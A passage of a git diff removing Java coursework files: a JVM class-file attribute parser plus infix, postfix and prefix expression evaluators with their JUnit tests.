@@ -1,42 +0,0 @@
-package attr;
-
-/**
- * Created by IBM on 2017/4/12.
- */
-public class LocalVariableItem {
-    private int startPC;
-    private int length;
-    private int nameIndex;
-    private int descIndex;
-    private int index;
-    public int getStartPC() {
-        return startPC;
-    }
-    public void setStartPC(int startPC) {
-        this.startPC = startPC;
-    }
-    public int getLength() {
-        return length;
-    }
-    public void setLength(int length) {
-        this.length = length;
-    }
-    public int getNameIndex() {
-        return nameIndex;
-    }
-    public void setNameIndex(int nameIndex) {
-        this.nameIndex = nameIndex;
-    }
-    public int getDescIndex() {
-        return descIndex;
-    }
-    public void setDescIndex(int descIndex) {
-        this.descIndex = descIndex;
-    }
-    public int getIndex() {
-        return index;
-    }
-    public void setIndex(int index) {
-        this.index = index;
-    }
-}
diff --git a/group17/785396327/4.9/attr/LocalVariableTable.java b/group17/785396327/4.9/attr/LocalVariableTable.java
deleted file mode 100644
index 9cb74c9697..0000000000
--- a/group17/785396327/4.9/attr/LocalVariableTable.java
+++ /dev/null
@@ -1,43 +0,0 @@
-package attr;
-
-import iterator.ByteCodeIterator;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Created by william on 2017/4/12.
- */
-public class LocalVariableTable extends AttributeInfo {
-    List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
-
-    public LocalVariableTable(int attrNameIndex, int attrLen) {
-        super(attrNameIndex, attrLen);
-    }
-
-    public static LocalVariableTable parse(ByteCodeIterator iter, int attributeNameIndex) {
-        int attributeLength = iter.nextU4ToInt();
-        int localVariableTableLength = iter.nextU2ToInt();
-        LocalVariableTable localVariableTable = new LocalVariableTable(attributeNameIndex, attributeLength);
-        for (int i = 0; i < localVariableTableLength; i++) {
-            int startPc = iter.nextU2ToInt();
-            int length = iter.nextU2ToInt();
-            int nameIndex = iter.nextU2ToInt();
-            int descIndex = iter.nextU2ToInt();
-            int index = iter.nextU2ToInt();
-            LocalVariableItem localVariableItem = new LocalVariableItem();
-            localVariableItem.setStartPC(startPc);
-            localVariableItem.setLength(length);
-            localVariableItem.setNameIndex(nameIndex);
-            localVariableItem.setDescIndex(descIndex);
-            localVariableItem.setIndex(index);
-            localVariableTable.addLocalVariableItem(localVariableItem);
-        }
-        return localVariableTable;
-    }
-
-    private void addLocalVariableItem(LocalVariableItem item) {
-        this.items.add(item);
-    }
-
-}
diff --git a/group17/785396327/4.9/attr/StackMapTable.java b/group17/785396327/4.9/attr/StackMapTable.java
deleted file mode 100644
index fce272fd9f..0000000000
--- a/group17/785396327/4.9/attr/StackMapTable.java
+++ /dev/null
@@ -1,31 +0,0 @@
-package attr;
-
-import iterator.ByteCodeIterator;
-
-/**
- * Created by william on 2017/4/12.
- */
-public class StackMapTable extends AttributeInfo {
-    private String originalCode;
-
-    public StackMapTable(int attrNameIndex, int attrLen) {
-        super(attrNameIndex, attrLen);
-    }
-
-    public static StackMapTable parse(ByteCodeIterator iter,int index){
-//        int len = iter.nextU4ToInt();
-//        StackMapTable t = new StackMapTable(index,len);
-
-        //后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
-//        String code = iter.nextUxToHexString(len);
-//        t.setOriginalCode(code);
-
-//        return t;
-        return null;
-    }
-
-    private void setOriginalCode(String code) {
-        this.originalCode = code;
-
-    }
-}
diff --git a/group17/785396327/4.9/expr/ExprParser.java b/group17/785396327/4.9/expr/ExprParser.java
deleted file mode 100644
index 09a909fbad..0000000000
--- a/group17/785396327/4.9/expr/ExprParser.java
+++ /dev/null
@@ -1,37 +0,0 @@
-package expr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Created by IBM on 2017/4/15.
- */
-public class ExprParser {
-
-    public static List<String> parse(InfixExpr infixExpr) {
-        if (infixExpr == null || infixExpr.expr == null || infixExpr.expr.trim().isEmpty())
-            return null;
-        String[] split = infixExpr.expr.split("");
-        List<String> results = new ArrayList<String>();
-        StringBuilder numberBuffer = new StringBuilder();
-        for (int i = 0; i < split.length; i++) {
-            String ele = split[i];
-            if (ele.equals(OperEnum.ADD.getOperator()) || ele.equals(OperEnum.SUBTRACT.getOperator()) || ele.equals(OperEnum.MINUS.getOperator()) || ele.equals(OperEnum.MULTIPLY.getOperator())) {
-                results.add(numberBuffer.toString());
-                numberBuffer.delete(0, numberBuffer.length());
-                results.add(ele);
-            } else
-                numberBuffer.append(ele);
-        }
-        results.add(numberBuffer.toString());
-        return results;
-    }
-
-    public static boolean belongsHighPriority(String operEle) {
-        return belongsOperator(operEle) && (operEle.trim().equals(OperEnum.MINUS.getOperator()) || operEle.trim().equals(OperEnum.MULTIPLY.getOperator()));
-    }
-
-    public static boolean belongsOperator(String operEle) {
-        return (operEle != null) && (operEle.trim().equals(OperEnum.ADD.getOperator()) || operEle.trim().equals(OperEnum.SUBTRACT.getOperator()) || operEle.trim().equals(OperEnum.MULTIPLY.getOperator()) || operEle.trim().equals(OperEnum.MINUS.getOperator()));
-    }
-}
diff --git a/group17/785396327/4.9/expr/InfixExpr.java b/group17/785396327/4.9/expr/InfixExpr.java
deleted file mode 100644
index 9845d45809..0000000000
--- a/group17/785396327/4.9/expr/InfixExpr.java
+++ /dev/null
@@ -1,75 +0,0 @@
-package expr;
-
-import stack.MyStack;
-
-import java.util.List;
-
-/**
- * Created by william on 2017/4/13.
- */
-public class InfixExpr {
-    String expr = null;
-
-    public InfixExpr(String expr) {
-        this.expr = expr;
-    }
-
-    public float evaluate() {
-        List<String> operList = ExprParser.parse(this);
-        MyStack<Object> numberStack = new MyStack<Object>();
-        MyStack<String> operatorStack = new MyStack<String>();
-        if (operList != null) {
-            for (String operEle : operList) {
-                if (ExprParser.belongsOperator(operEle))
-                    operatorStack.push(operEle);
-                else {
-                    numberStack.push(operEle);
-                    if (!operatorStack.isEmpty() && ExprParser.belongsHighPriority(operatorStack.peek())) {
-                        String highPriorityValue = calcHighOper(numberStack, operatorStack);
-                        numberStack.push(highPriorityValue);
-                    }
-                }
-            }
-        }
-        if (numberStack.size() != operatorStack.size() + 1)
-            throw new RuntimeException(" wrong operation number ");
-        return Float.parseFloat(calcSameOper(numberStack, operatorStack));
-    }
-
-    private String calcHighOper(MyStack<Object> numberStack, MyStack<String> operatorStack) {
-        Float rightNumber = Float.parseFloat((String) numberStack.pop());
-        Float leftNumber = Float.parseFloat((String) numberStack.pop());
-        String oper = operatorStack.pop();
-        return calc(rightNumber, leftNumber, oper);
-    }
-
-    private String calcSameOper(MyStack<Object> numberStack, MyStack<String> operatorStack) {
-        MyStack<Object> allStack = new MyStack<Object>();
-        while (!operatorStack.isEmpty()) {
-            allStack.push(numberStack.pop());
-            allStack.push(operatorStack.pop());
-        }
-        allStack.push(numberStack.pop());
-        while (allStack.size() != 1) {
-            Float leftNumber = Float.parseFloat((String) allStack.pop());
-            String oper = (String) allStack.pop();
-            Float rightNumber = Float.parseFloat((String) allStack.pop());
-            allStack.push(calc(rightNumber, leftNumber, oper));
-        }
-        return (String) allStack.pop();
-    }
-
-    private String calc(Float rightNumber, Float leftNumber, String oper) {
-        if (oper.equals(OperEnum.ADD.getOperator()))
-            return leftNumber + rightNumber + "";
-        else if (oper.equals(OperEnum.SUBTRACT.getOperator()))
-            return leftNumber - rightNumber + "";
-        else if (oper.equals(OperEnum.MULTIPLY.getOperator()))
-            return leftNumber * rightNumber + "";
-        else if (oper.equals(OperEnum.MINUS.getOperator()))
-            return leftNumber / rightNumber + "";
-        else
-            throw new RuntimeException("not support " + leftNumber + " " + oper + " " + rightNumber + " operation");
-    }
-
-}
diff --git a/group17/785396327/4.9/expr/InfixExprTest.java b/group17/785396327/4.9/expr/InfixExprTest.java
deleted file mode 100644
index 1249bbf04b..0000000000
--- a/group17/785396327/4.9/expr/InfixExprTest.java
+++ /dev/null
@@ -1,57 +0,0 @@
-package expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import java.util.List;
-
-/**
- * Created by IBM on 2017/4/13.
- */
-public class InfixExprTest {
-    @Before
-    public void setUp() throws Exception {
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    @Test
-    public void testEvaluate() {
-        //InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
-        {
-            InfixExpr expr = new InfixExpr("2+3*4+5");
-            Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
-        }
-        {
-            InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
-            Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
-        }
-
-        {
-            InfixExpr expr = new InfixExpr("3*20/2");
-            Assert.assertEquals(30, expr.evaluate(), 0.001f);
-        }
-
-        {
-            InfixExpr expr = new InfixExpr("20/2*3");
-            Assert.assertEquals(30, expr.evaluate(), 0.001f);
-        }
-
-        {
-            InfixExpr expr = new InfixExpr("10-30+50");
-            Assert.assertEquals(30, expr.evaluate(), 0.001f);
-        }
-
-    }
-
-    @Test
-    public void testExprParser() {
-        InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
-        List<String> parse = ExprParser.parse(expr);
-        System.out.println(parse);
-    }
-}
diff --git a/group17/785396327/4.9/expr/InfixToPostfix.java b/group17/785396327/4.9/expr/InfixToPostfix.java
deleted file mode 100644
index 58fb60ef2b..0000000000
--- a/group17/785396327/4.9/expr/InfixToPostfix.java
+++ /dev/null
@@ -1,43 +0,0 @@
-package expr;
-
-import stack.MyStack;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Created by gongxun on 2017/4/22.
- * 遇到数组直接放入集合等待输出
- * 遇到运算符入栈，如果栈顶元素的优先级较待入栈运算符的优先级高，将栈顶元素取出放入集合等待输出，否则直接入栈
- */
-public class InfixToPostfix {
-    public static List<Token> convert(String expr) {
-        List<Token> result = new ArrayList<Token>();
-        TokenParser tokenParser = new TokenParser();
-        List<Token> tokens = tokenParser.parse(expr);
-        MyStack<Token> stack = new MyStack<Token>();
-        if (tokens != null) {
-            for (Token token : tokens) {
-                if (token.isNumber())
-                    result.add(token);
-                else {
-                    while (!stack.isEmpty()) {
-                        Token prevOper = stack.peek();
-                        if (token.hasHigherPriority(prevOper)) {
-                            stack.push(token);
-                            break;
-                        } else {
-                            result.add(stack.pop());
-                        }
-                    }
-                    //和+或者-同优先级或者更高优先级的都已经弹栈，只剩空栈
-                    if (stack.isEmpty()) stack.push(token);
-                }
-            }
-        }
-        //将剩余的所有符号出栈
-        while (!stack.isEmpty())
-            result.add(stack.pop());
-        return result;
-    }
-}
diff --git a/group17/785396327/4.9/expr/InfixToPostfixTest.java b/group17/785396327/4.9/expr/InfixToPostfixTest.java
deleted file mode 100644
index f1dcd3f466..0000000000
--- a/group17/785396327/4.9/expr/InfixToPostfixTest.java
+++ /dev/null
@@ -1,41 +0,0 @@
-package expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-/**
- * Created by IBM on 2017/4/23.
- */
-public class InfixToPostfixTest {
-
-
-    @Before
-    public void setUp() {
-
-    }
-
-    @After
-    public void tearDown() {
-
-    }
-
-    @Test
-    public void testConvert() {
-        {
-            Assert.assertEquals("[2, 3, 4, *, +, 5, +]", InfixToPostfix.convert("2+3*4+5").toString());
-        }
-        {
-            Assert.assertEquals("[3, 20, *, 12, 5, *, +, 40, 2, /, -]", InfixToPostfix.convert("3*20+12*5-40/2").toString());
-        }
-
-        {
-            Assert.assertEquals("[3, 20, *, 2, /]", InfixToPostfix.convert("3*20/2").toString());
-        }
-
-        {
-            Assert.assertEquals("[20, 2, /, 3, *]", InfixToPostfix.convert("20/2*3").toString());
-        }
-    }
-}
diff --git a/group17/785396327/4.9/expr/OperEnum.java b/group17/785396327/4.9/expr/OperEnum.java
deleted file mode 100644
index adb41b75ff..0000000000
--- a/group17/785396327/4.9/expr/OperEnum.java
+++ /dev/null
@@ -1,21 +0,0 @@
-package expr;
-
-/**
- * Created by IBM on 2017/4/15.
- */
-public enum OperEnum {
-    ADD("+"), SUBTRACT("-"), MULTIPLY("*"), MINUS("/");
-    private String operator;
-
-    OperEnum(String operator) {
-        this.operator = operator;
-    }
-
-    public String getOperator() {
-        return operator;
-    }
-
-    public void setOperator(String operator) {
-        this.operator = operator;
-    }
-}
diff --git a/group17/785396327/4.9/expr/PostfixExpr.java b/group17/785396327/4.9/expr/PostfixExpr.java
deleted file mode 100644
index c22b7788aa..0000000000
--- a/group17/785396327/4.9/expr/PostfixExpr.java
+++ /dev/null
@@ -1,48 +0,0 @@
-package expr;
-
-import stack.MyStack;
-
-import java.util.List;
-
-/**
- * Created by gongxun on 2017/4/22.
- */
-public class PostfixExpr {
-    String expr = null;
-
-    public PostfixExpr(String expr) {
-        this.expr = expr;
-    }
-
-    public float evaluate() {
-        TokenParser tokenParser = new TokenParser();
-        if (expr == null)
-            throw new RuntimeException("wrong expr !");
-        MyStack<Float> stack = new MyStack<Float>();
-        List<Token> tokens = tokenParser.parse(expr);
-        if (tokens != null) {
-            for (Token token : tokens) {
-                if (token.isNumber())
-                    stack.push(((Integer) token.getIntValue()).floatValue());
-                else {
-                    Float value = calcValue(token, stack);
-                    stack.push(value);
-                }
-            }
-        }
-        return stack.pop();
-    }
-
-    private Float calcValue(Token token, MyStack<Float> stack) {
-        String operator = token.toString();
-        Float rightNum = stack.pop();
-        Float leftNum = stack.pop();
-        if (operator.equals("+"))
-            return leftNum + rightNum;
-        else if (operator.equals("-"))
-            return leftNum - rightNum;
-        else if (operator.equals("*"))
-            return leftNum * rightNum;
-        return leftNum / rightNum;
-    }
-}
diff --git a/group17/785396327/4.9/expr/PostfixExprTest.java b/group17/785396327/4.9/expr/PostfixExprTest.java
deleted file mode 100644
index 378e8f2407..0000000000
--- a/group17/785396327/4.9/expr/PostfixExprTest.java
+++ /dev/null
@@ -1,38 +0,0 @@
-package expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-/**
- * Created by gongxun on 2017/4/22.
- */
-public class PostfixExprTest {
-    @Before
-    public void setUp() throws Exception {
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    @Test
-    public void testEvaluate() {
-        {
-            PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
-            Assert.assertEquals(288, expr.evaluate(), 0.0f);
-        }
-        {
-            //9+(3-1)*3+10/2
-            PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
-            Assert.assertEquals(20, expr.evaluate(),0.0f);
-        }
-
-        {
-            //10-2*3+50
-            PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
-            Assert.assertEquals(54, expr.evaluate(),0.0f);
-        }
-    }
-}
diff --git a/group17/785396327/4.9/expr/PrefixExpr.java b/group17/785396327/4.9/expr/PrefixExpr.java
deleted file mode 100644
index b29ffa0c64..0000000000
--- a/group17/785396327/4.9/expr/PrefixExpr.java
+++ /dev/null
@@ -1,48 +0,0 @@
-package expr;
-
-import stack.MyStack;
-
-import java.util.List;
-
-/**
- * Created by gongxun on 2017/4/22.
- * 从后向前遍历入栈
- */
-public class PrefixExpr {
-    String expr = null;
-
-    public PrefixExpr(String expr) {
-        this.expr = expr;
-    }
-
-    public float evaluate() {
-        TokenParser tokenParser = new TokenParser();
-        if (expr == null)
-            throw new RuntimeException("wrong expr !");
-        MyStack<Float> stack = new MyStack<Float>();
-        List<Token> tokens = tokenParser.parse(expr);
-        for (int i = tokens.size() - 1; i >= 0; i--) {
-            Token token = tokens.get(i);
-            if (token.isNumber())
-                stack.push(((Integer) token.getIntValue()).floatValue());
-            else {
-                Float value = calcValue(stack, token.toString());
-                stack.push(value);
-            }
-        }
-        return stack.pop();
-    }
-
-
-    private Float calcValue(MyStack<Float> stack, String operator) {
-        Float leftNum = stack.pop();
-        Float rightNum = stack.pop();
-        if (operator.equals("+"))
-            return leftNum + rightNum;
-        else if (operator.equals("-"))
-            return leftNum - rightNum;
-        else if (operator.equals("*"))
-            return leftNum * rightNum;
-        return leftNum / rightNum;
-    }
-}
diff --git a/group17/785396327/4.9/expr/PrefixExprTest.java b/group17/785396327/4.9/expr/PrefixExprTest.java
deleted file mode 100644
index 326bfd9f2c..0000000000
--- a/group17/785396327/4.9/expr/PrefixExprTest.java
+++ /dev/null
@@ -1,45 +0,0 @@
-package expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-/**
- * Created by gongxun on 2017/4/22.
- */
-public class PrefixExprTest {
-    @Before
-    public void setUp() throws Exception {
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    @Test
-    public void testEvaluate() {
-        {
-            // 2*3+4*5
-            PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
-            Assert.assertEquals(26, expr.evaluate(), 0.001f);
-        }
-        {
-            // 4*2 + 6+9*2/3 -8
-            PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
-            Assert.assertEquals(12, expr.evaluate(), 0.001f);
-        }
-        {
-            //(3+4)*5-6
-            PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
-            Assert.assertEquals(29, expr.evaluate(), 0.001f);
-        }
-        {
-            //1+((2+3)*4)-5
-            PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
-            Assert.assertEquals(16, expr.evaluate(), 0.001f);
-        }
-
-
-    }
-}
diff --git a/group17/785396327/4.9/expr/Token.java b/group17/785396327/4.9/expr/Token.java
deleted file mode 100644
index 093be5c416..0000000000
--- a/group17/785396327/4.9/expr/Token.java
+++ /dev/null
@@ -1,52 +0,0 @@
-package expr;
-
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-/**
- * Created by gongxun on 2017/4/22.
- */
-public class Token {
-    public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
-    private static final Map<String,Integer> priorities = new HashMap<String,Integer>();
-    static {
-        priorities.put("+", 1);
-        priorities.put("-", 1);
-        priorities.put("*", 2);
-        priorities.put("/", 2);
-    }
-    static final int OPERATOR = 1;
-    static final int NUMBER = 2;
-    String value;
-    int type;
-    public Token(int type, String value){
-        this.type = type;
-        this.value = value;
-    }
-
-    public boolean isNumber() {
-        return type == NUMBER;
-    }
-
-    public boolean isOperator() {
-        return type == OPERATOR;
-    }
-
-    public int getIntValue() {
-        return Integer.valueOf(value).intValue();
-    }
-    public String toString(){
-        return value;
-    }
-
-    public boolean hasHigherPriority(Token t){
-        if(!this.isOperator() && !t.isOperator()){
-            throw new RuntimeException("numbers can't compare priority");
-        }
-        return priorities.get(this.value) - priorities.get(t.value) > 0;
-    }
-
-
-}
diff --git a/group17/785396327/4.9/expr/TokenParser.java b/group17/785396327/4.9/expr/TokenParser.java
deleted file mode 100644
index 6c54890a42..0000000000
--- a/group17/785396327/4.9/expr/TokenParser.java
+++ /dev/null
@@ -1,58 +0,0 @@
-package expr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Created by gongxun on 2017/4/22.
- */
-public class TokenParser {
-    public List<Token> parse(String expr) {
-        List<Token> tokens = new ArrayList<Token>();
-
-        int i = 0;
-
-        while (i < expr.length()) {
-
-            char c = expr.charAt(i);
-
-            if (isOperator(c)) {
-
-                Token t = new Token(Token.OPERATOR, String.valueOf(c));
-                tokens.add(t);
-                i++;
-
-            } else if (Character.isDigit(c)) {
-
-                int nextOperatorIndex = indexOfNextOperator(i, expr);
-                String value = expr.substring(i, nextOperatorIndex);
-                Token t = new Token(Token.NUMBER, value);
-                tokens.add(t);
-                i = nextOperatorIndex;
-
-            } else{
-//                System.out.println("char :["+c+"] is not number or operator,ignore");
-                i++;
-            }
-
-        }
-        return tokens;
-    }
-
-    private  int indexOfNextOperator(int i, String expr) {
-
-        while (Character.isDigit(expr.charAt(i))) {
-            i++;
-            if (i == expr.length()) {
-                break;
-            }
-        }
-        return i;
-
-    }
-
-    private  boolean isOperator(char c) {
-        String sc = String.valueOf(c);
-        return Token.OPERATORS.contains(sc);
-    }
-}
diff --git a/group17/785396327/4.9/expr/TokenParserTest.java b/group17/785396327/4.9/expr/TokenParserTest.java
deleted file mode 100644
index 793ba1fe0b..0000000000
--- a/group17/785396327/4.9/expr/TokenParserTest.java
+++ /dev/null
@@ -1,47 +0,0 @@
-package expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import java.util.List;
-
-/**
- * Created by gongxun on 2017/4/22.
- */
-public class TokenParserTest {
-    @Before
-    public void setUp() throws Exception {
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    @Test
-    public void test() {
-
-        TokenParser parser = new TokenParser();
-        List<Token> tokens  = parser.parse("300*20+12*5-20/4");
-
-        Assert.assertEquals(300, tokens.get(0).getIntValue());
-        Assert.assertEquals("*", tokens.get(1).toString());
-        Assert.assertEquals(20, tokens.get(2).getIntValue());
-        Assert.assertEquals("+", tokens.get(3).toString());
-        Assert.assertEquals(12, tokens.get(4).getIntValue());
-        Assert.assertEquals("*", tokens.get(5).toString());
-        Assert.assertEquals(5, tokens.get(6).getIntValue());
-        Assert.assertEquals("-", tokens.get(7).toString());
-        Assert.assertEquals(20, tokens.get(8).getIntValue());
-        Assert.assertEquals("/", tokens.get(9).toString());
-        Assert.assertEquals(4, tokens.get(10).getIntValue());
-    }
-
-    @Test
-    public void testPostfixExprParser() {
-        TokenParser tokenParser = new TokenParser();
-        List<Token> tokens = tokenParser.parse("6 5 2 3 + 8 * + 3 + *");
-        System.out.println(tokens);
-    }
-}
diff --git a/group17/785396327/4.9/field/Field.java b/group17/785396327/4.9/field/Field.java
deleted file mode 100644
index dda04d2d4b..0000000000
--- a/group17/785396327/4.9/field/Field.java
+++ /dev/null
@@ -1,41 +0,0 @@
-package field;
-
-import constant.ConstantPool;
-import iterator.ByteCodeIterator;
-
-/**
- * Created by IBM on 2017/4/12.
- */
-public class Field {
-    private int accessFlag;
-    private int nameIndex;
-    private int descriptorIndex;
-
-
-    private ConstantPool pool;
-
-    public Field(int accessFlag, int nameIndex, int descriptorIndex, ConstantPool pool) {
-
-        this.accessFlag = accessFlag;
-        this.nameIndex = nameIndex;
-        this.descriptorIndex = descriptorIndex;
-        this.pool = pool;
-    }
-
-
-    public static Field parse(ConstantPool pool, ByteCodeIterator iter) {
-        int accessFlags = iter.nextU2ToInt();
-        int nameIndex = iter.nextU2ToInt();
-        int descriptor_index = iter.nextU2ToInt();
-        int attributesCount = iter.nextU2ToInt();
-        if (attributesCount > 0) {
-            throw new RuntimeException("Field字段表，暂时不支持存在属性");
-        }
-        return new Field(accessFlags, nameIndex, descriptor_index, pool);
-    }
-
-    @Override
-    public String toString() {
-        return pool.getUTF8String(nameIndex) + ":" + pool.getUTF8String(descriptorIndex);
-    }
-}
diff --git a/group17/785396327/4.9/method/Method.java b/group17/785396327/4.9/method/Method.java
deleted file mode 100644
index 1b5daa244b..0000000000
--- a/group17/785396327/4.9/method/Method.java
+++ /dev/null
@@ -1,67 +0,0 @@
-package method;
-
-import attr.CodeAttr;
-import clz.ClassFile;
-import cmd.ByteCodeCommand;
-import iterator.ByteCodeIterator;
-import util.Util;
-
-/**
- * Created by IBM on 2017/4/12.
- */
-public class Method {
-    private int accessFlag;
-    private int nameIndex;
-    private int descriptorIndex;
-
-    private CodeAttr codeAttr;
-
-    private ClassFile clzFile;
-
-
-    public ClassFile getClzFile() {
-        return clzFile;
-    }
-
-    public int getNameIndex() {
-        return nameIndex;
-    }
-
-    public int getDescriptorIndex() {
-        return descriptorIndex;
-    }
-
-    public CodeAttr getCodeAttr() {
-        return codeAttr;
-    }
-
-    public void setCodeAttr(CodeAttr code) {
-        this.codeAttr = code;
-    }
-
-    public Method(ClassFile clzFile, int accessFlag, int nameIndex, int descriptorIndex) {
-        this.clzFile = clzFile;
-        this.accessFlag = accessFlag;
-        this.nameIndex = nameIndex;
-        this.descriptorIndex = descriptorIndex;
-    }
-
-
-    public static Method parse(ClassFile clzFile, ByteCodeIterator iter) {
-        int accessFlags = iter.nextU2ToInt();
-        int nameIndex = iter.nextU2ToInt();
-        int descriptorIndex = iter.nextU2ToInt();
-        int attributesCount = iter.nextU2ToInt();//有几个属性
-        Method method = new Method(clzFile, accessFlags, nameIndex, descriptorIndex);
-        for (int i = 0; i < attributesCount; i++) {
-            CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
-            method.setCodeAttr(codeAttr);
-        }
-        return method;
-
-    }
-
-    public ByteCodeCommand[] getCmds() {
-        return this.getCodeAttr().getCmds();
-    }
-}
diff --git a/group17/82427129/.gitignore b/group17/82427129/.gitignore
index 35cadcc5f6..090f729088 100644
--- a/group17/82427129/.gitignore
+++ b/group17/82427129/.gitignore
@@ -14,6 +14,4 @@
 
 .project
 
-Test.java
-
-Algorithms/
\ No newline at end of file
+Test.java
\ No newline at end of file
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/attr/AttributeInfo.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/attr/AttributeInfo.java
deleted file mode 100644
index 8fb9e91d57..0000000000
--- a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/attr/AttributeInfo.java
+++ /dev/null
@@ -1,40 +0,0 @@
-package com.coderising.jvm.attr;
-
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public abstract class AttributeInfo {
-	public static final String CODE = "Code";
-	public static final String CONST_VALUE = "ConstantValue";
-	public static final String EXCEPTIONS = "Exceptions";
-	public static final String LINE_NUM_TABLE = "LineNumberTable";
-	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
-	public static final String STACK_MAP_TABLE = "StackMapTable";
-	int attrNameIndex;// u2 attribute_name_index
-	int attrLen;// u4 attribute_length
-
-	public abstract String getType();
-	public AttributeInfo(int attrNameIndex, int attrLen) {
-		this.attrNameIndex = attrNameIndex;
-		this.attrLen = attrLen;
-	}
-
-	public static AttributeInfo parse(ConstantPool pool, ByteCodeIterator itr) {
-		int attrNameIndex = itr.nextU2toInt();
-		String attrName = ((UTF8Info) pool.getConstantInfo(attrNameIndex))
-				.getValue();
-		itr.back(2);
-		switch (attrName) {
-		case CODE:
-			return CodeAttr.parse(pool, itr);
-		case LINE_NUM_TABLE:
-			return LineNumberTable.parse(pool, itr);
-		case LOCAL_VAR_TABLE:
-			return LocalVariableTable.parse(pool, itr);
-		default:
-			throw new RuntimeException(
-					"attributeInfo exclude CodeAttr hasn't implemented");
-		}
-	}
-}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/attr/CodeAttr.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/attr/CodeAttr.java
deleted file mode 100644
index 1f9cfdc169..0000000000
--- a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/attr/CodeAttr.java
+++ /dev/null
@@ -1,129 +0,0 @@
-package com.coderising.jvm.attr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class CodeAttr extends AttributeInfo {
-
-	private static String TYPE = CODE;
-	private int maxStack;//u2 max_stack
-	private int maxLocals;//u2 max_locals
-	private int codeLenth;//u4 code_length
-	private String code;//u1 code[code_length]
-	private int exceptionTableLength;//u2 exception_table_length;
-	/*
-	 * { u2 start_pc;
-		u2 end_pc;
-		u2 handler_pc;
-		u2 catch_type;
-		} exception_table[exception_table_length];
-	private ExceptionTable exceptionTable;//unimplemented*/
-	private int attrCount;//u2 attributes_count
-	private List<AttributeInfo> AttrList = new ArrayList<AttributeInfo>();//attribute_info attributes[attributes_count];
-
-	public CodeAttr(int attrNameIndex, int attrLen, int maxStack,
-			int maxLocals, int codeLenth, String code,
-			int exceptionTableLength, int attrCount) {
-		super(attrNameIndex, attrLen);
-		this.maxStack = maxStack;
-		this.maxLocals = maxLocals;
-		this.codeLenth = codeLenth;
-		this.code = code;
-		this.exceptionTableLength = exceptionTableLength;
-		this.attrCount = attrCount;
-	}
-
-	/**
-	 * 给CodeAttr 增加属性
-	 * @param a
-	 */
-	public void addAttr(AttributeInfo a){
-		this.AttrList.add(a);
-	}
-	
-	@Override
-	public String getType() {
-		return TYPE;
-	}
-	
-	public static CodeAttr parse(ConstantPool pool, ByteCodeIterator itr) {
-		int attrNameIndex = itr.nextU2toInt();
-		int attrLen = itr.nextU4toInt();
-		int maxStack = itr.nextU2toInt();
-		int maxLocals = itr.nextU2toInt();
-		int codeLenth = itr.nextU4toInt();
-		String code = itr.nextUxtoHexString(codeLenth);
-		int exceptionTableLength = itr.nextU2toInt();
-		int attrCount = itr.nextU2toInt();
-		CodeAttr codeAttr = new CodeAttr(attrNameIndex, attrLen, maxStack, maxLocals,
-				codeLenth, code, exceptionTableLength, attrCount);
-		for (int i = 0; i < attrCount; i++) {
-			codeAttr.addAttr(AttributeInfo.parse(pool, itr));
-		}
-		return codeAttr;
-	}
-	/*
-	 * getter setter
-	 */
-	public int getMaxStack() {
-		return maxStack;
-	}
-
-	public void setMaxStack(int maxStack) {
-		this.maxStack = maxStack;
-	}
-
-	public int getMaxLocals() {
-		return maxLocals;
-	}
-
-	public void setMaxLocals(int maxLocals) {
-		this.maxLocals = maxLocals;
-	}
-
-	public int getCodeLenth() {
-		return codeLenth;
-	}
-
-	public void setCodeLenth(int codeLenth) {
-		this.codeLenth = codeLenth;
-	}
-
-	public void setCode(String code) {
-		this.code = code;
-	}
-
-	public String getCode() {
-		return code;
-	}
-
-	public int getAttrCount() {
-		return attrCount;
-	}
-
-	public void setAttrCount(int attrCount) {
-		this.attrCount = attrCount;
-	}
-
-	public List<AttributeInfo> getAttrList() {
-		return AttrList;
-	}
-
